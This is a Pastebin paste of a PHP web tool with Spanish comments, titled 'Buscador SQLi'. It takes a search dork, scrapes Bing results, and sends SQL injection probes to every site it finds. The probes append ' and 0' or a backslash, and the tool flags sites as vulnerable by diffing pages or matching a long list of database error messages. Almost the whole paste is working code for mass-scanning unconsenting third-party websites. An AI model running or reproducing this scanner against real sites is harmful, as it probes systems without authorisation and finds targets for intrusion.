Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title>Buscador SQLi</title>
- <style>
- body{
- background-color: black;
- color:white;
- text-align: center;
- text-decoration: none;
- }
- .text:hover{
- text-shadow: 1px 1px 5px #fff;
- }
- img:hover{
- opacity:0.6;
- }
- a{
- text-decoration: none;
- color:red;
- }
- a:hover{
- text-decoration: underline;
- }
- </style>
- <!-- Buscador SQLi basica usando bing by arthusu -->
- <a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
- <?php
- /*
- +------------------------------------------------+
- | Buscador SQLi basica usando BING by arthusu |
- +------------------------------------------------+
- */
- //sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
- set_time_limit(0);
- //esta funcion lo que hace es conectar a la url que le indiquemos como parametro
- function conectar_url($url){
- //inicia curl y lo guarda en ch
- $ch=curl_init();
- //le damos una opciones como la url
- curl_setopt($ch, CURLOPT_URL, $url);
- //le damos una opcion de que nos devuelva la pagina sea verdadero
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- //de que siga la redireccion como verdadero
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- //de establecer un navegador en la cabecera user agent
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
- //aqui en esta variable se guarda la pagina
- $pagina=curl_exec($ch);
- curl_close($ch);
- //devolvemos la pagina :D
- return $pagina;
- }
- //si existe enviar
- if(isset($_POST['enviar'])){
- // y si no estan vacios los campos
- if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
- //almacenamos nuestras variables
- $dork=htmlentities($_POST['dork'],ENT_QUOTES);
- $paginas=$_POST['paginas'];
- $paginas=htmlentities($paginas,ENT_QUOTES);
- //abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
- $archivo=fopen('dorks.txt','a');
- fwrite($archivo, "Dork insertado: ".$dork."\n");
- fclose($archivo);
- //conformamos la url
- $bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
- //i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
- //en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
- $i=1;
- while($i<=$paginas){
- //si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
- $url_bing=str_replace('comienza', $i, $bing_url);
- //echo $url_bing ."<br />";
- //almacenamos en una variable lo que nos retorna la busqueda
- $conectado=conectar_url($url_bing);
- //si no se encuentran resultados entonces que lo muestre
- if(preg_match("/No se encontraron resultados para/i", $conectado)){
- echo "No se encontro ningun resultado";
- }else{
- //nos conectamos a la url para que podamos verificar los enlaces
- $conectado2=conectar_url($url_bing);
- //print_r($enlaces);
- //verificamos si se encuentran enlaces
- if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
- //tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
- if(!empty($_POST['checked'])){
- for($e=0; $e<count($enlaces); $e++){
- //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
- $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
- $reemplazo=str_replace('"', "", $reemplazo);
- //$reemplazo=$enlaces[0][$e];
- //reemplazamos en =cualquiercosa por =" de manera para verificar el error
- //$vuln=$reemplazo."'";
- $vuln=$reemplazo;
- $vuln2=$reemplazo." and 0";
- //$vuln=str_replace("=","=order by 2" , $reemplazo);
- //conectamos a la url modificada
- $conectado3=conectar_url($vuln);
- $conectado4=conectar_url($vuln2);
- if($conectado3!=$conectado4){
- echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
- }else{
- echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
- }
- }
- }else{
- for($e=0; $e<count($enlaces); $e++){
- //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
- $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
- $reemplazo=str_replace('"', "", $reemplazo);
- //reemplazamos en =cualquiercosa por =" de manera para verificar el error
- //$vuln=$reemplazo."'";
- $vuln2=$reemplazo."\\";
- //$vuln=str_replace("=","=order by 2" , $reemplazo);
- //conectamos a la url modificada
- $conectado4=conectar_url($vuln2);
- //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
- if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
- echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
- }else{
- echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
- }
- }
- }
- }else{
- //si no se encontraron url entonces decimos que no coinciden con el formato
- echo "No coincide con el formato<br />";
- }
- }
- //borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
- unset($url_bing);
- //aumentamos i a uno para que siga recorriendo las urls
- ++$i;
- }
- }else{
- //si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
- echo "Debes llenar los campos <br /><br />";
- ?>
- <!-- Aqui tenemos nuestro formulario -->
- <center>
- <table border="0" width="500">
- <form action="" method="post">
- <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
- <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
- <tr><td><input name="checked" type="checkbox"></td></tr>
- <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
- <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
- <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
- </form>
- <table>
- </center>
- <?php
- }
- }else{
- //sino existe enviar muestra un mensaje y muestra el formulario de nuevo
- echo '
- <center>
- <table border="0" width="500">
- <form action="" method="post">
- <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
- <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
- <tr><td><input name="checked" type="checkbox"></td></tr>
- <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
- <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
- <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
- </form>
- <table>
- </center>
- ';
- }
- /*
- La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
- Este programa puede llegar a lanzar falsos positivos....
- */
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement